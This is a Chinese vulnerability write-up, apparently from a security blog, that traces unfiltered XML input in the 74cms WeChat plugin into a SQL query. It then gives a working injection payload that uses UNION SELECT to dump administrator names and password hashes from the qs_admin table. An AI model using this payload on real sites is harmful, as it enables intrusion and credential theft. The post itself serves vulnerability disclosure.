zoukankan      html  css  js  c++  java
  • 74cms注入一枚(无视GPC)

    版本为最新的20140808

    0x01代码分析

    看到plusweixin.php有如下代码

    public function responseMsg()
        {
            $postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
            if (!empty($postStr))
            {
                    
                      $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
                    $fromUsername = $postObj->FromUserName;
                    $toUsername = $postObj->ToUserName;
                    $keyword = trim($postObj->Content);
                    $keyword = iconv("utf-8","gb2312",$keyword);
                    $time = time();
                    $event = trim($postObj->Event);
                    if ($event === "subscribe")
                    {
                        $word= "回复j返回紧急招聘,回复n返回最新招聘!您可以尝试输入职位名称如“会计”,系统将会返回您要找的信息,我们努力打造最人性化的服务平台,谢谢关注。";
                        $text="<xml>
                        <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                        <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                        <CreateTime>".$time."</CreateTime>
                        <MsgType><![CDATA[text]]></MsgType>
                        <Content><![CDATA[".$word."]]></Content>
                        </xml> ";
                        exit($text);                
                    }     
                       if (!empty($keyword))
                    {
                    
                        if($_CFG['sina_apiopen']=='0')
                        {
                                $word="网站微信接口已经关闭";
                                $text="<xml>
                                <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                                <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                                <CreateTime>".$time."</CreateTime>
                                <MsgType><![CDATA[text]]></MsgType>
                                <Content><![CDATA[".$word."]]></Content>
                                </xml> ";
                                exit($text);
                        }
                    
                                            $limit=" LIMIT 6";
                                            $orderbysql=" ORDER BY refreshtime DESC";
                                            if($keyword=="n")
                                            {
                                                $jobstable=table('jobs_search_rtime');             
                                            }
                                            else if($keyword=="j")
                                            {
                                                $jobstable=table('jobs_search_rtime');
                                                $wheresql=" where `emergency`=1 ";    
                                            }
                                            else
                                            {
                                            $jobstable=table('jobs_search_key');
                                            $wheresql.=" where likekey LIKE '%{$keyword}%' ";
                                            }
                                            $word='';
                                            $list = $id = array();
                                            $idresult = $this->query("SELECT id FROM {$jobstable} ".$wheresql.$orderbysql.$limit);
                                            while($row = $this->fetch_array($idresult))
                                            {
                                            $id[]=$row['id'];
                                            }
                                            if (!empty($id))
                                            {
                                            $wheresql=" WHERE id IN (".implode(',',$id).") ";
                                            $result = $this->query("SELECT * FROM ".table('jobs').$wheresql.$orderbysql);    
                                                while($row = $this->fetch_array($result))
                                                {
                                                //$row['jobs_url']=url_rewrite('QS_jobsshow',array('id'=>$row['id']));
                                                $row['addtime']=date("Y-m-d",$row['addtime']);
                                                $row['deadline']=date("Y-m-d",$row['deadline']);
                                                $row['refreshtime']=date("Y-m-d",$row['refreshtime']);
                                                $word.="{$row['companyname']}
    招聘职位:{$row['jobs_name']}
    薪金待遇:{$row['wage_cn']}
    招聘人数:{$row['amount']}
    发布日期:{$row['addtime']}
    截止日期:{$row['deadline']} 
    --------------------------
    ";
                                                }
                                            }
                                            if(empty($word))
                                            {
                                                $word="没有找到包含关键字 {$keyword} 的信息,试试其他关键字";
                                                $text="<xml>
                                                <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                                                <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                                                <CreateTime>".$time."</CreateTime>
                                                <MsgType><![CDATA[text]]></MsgType>
                                                <Content><![CDATA[".$word."]]></Content>
                                                </xml> ";
                                                exit($text);
                                            }
                                            else
                                            {
                                                    $word=rtrim($word,'/
    ');
                                                    $word=rtrim($word,'-');
                                                    $text="<xml>
                                                    <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                                                    <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                                                    <CreateTime>".$time."</CreateTime>
                                                    <MsgType><![CDATA[text]]></MsgType>
                                                    <Content><![CDATA[".$word."]]></Content>
                                                    </xml> ";
                                                    exit($text);
                                            }     
                    }
                    else 
                    {
                    exit("");
                    }
            }
        }

    使用$GLOBALS["HTTP_RAW_POST_DATA"]; 接收参数,这个类似于POST,但是和POST有点点不一样。如果提提交a=1,它接收的也是a=1。然后继续看代码,我们传进来的值经过了simplexml_load_string这个函数,这个函数是用来解析xml的。然后我们看到$keyword,跟踪一下$keyword发现直接进入了数据库。这个中间是没有任何过滤的。但是,看到有单引号,不过没关系我们传进来的参数的不受GPC影响的。然后如何利用呢?我们应该构造一个恶意的xml,来进行注入。

    0x02漏洞利用

    我们看到$keyword的内容是通过</Content>获得的,那我们就构造这样的xml

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <xml><Content>1%' union select group_concat(admin_name,0x3a,pwd,0x3a,pwd_hash) from qs_admin#</Content>
    </xml>

    由于是白盒测试,所以数据库结构我们是知道的,然后直接构造exp就行。

    QQ截图20140819205334

  • 相关阅读:
    android 源码
    android 保护
    电池信息 显示
    RGB、HSB、HSL 互相转换算法
    网页美工
    css 设计标准
    js 封闭 小结
    格式转换工具
    网页设计规范
    瀑布流分析
  • 原文地址:https://www.cnblogs.com/Bl4ckc0de/p/3923049.html
Copyright © 2011-2022 走看看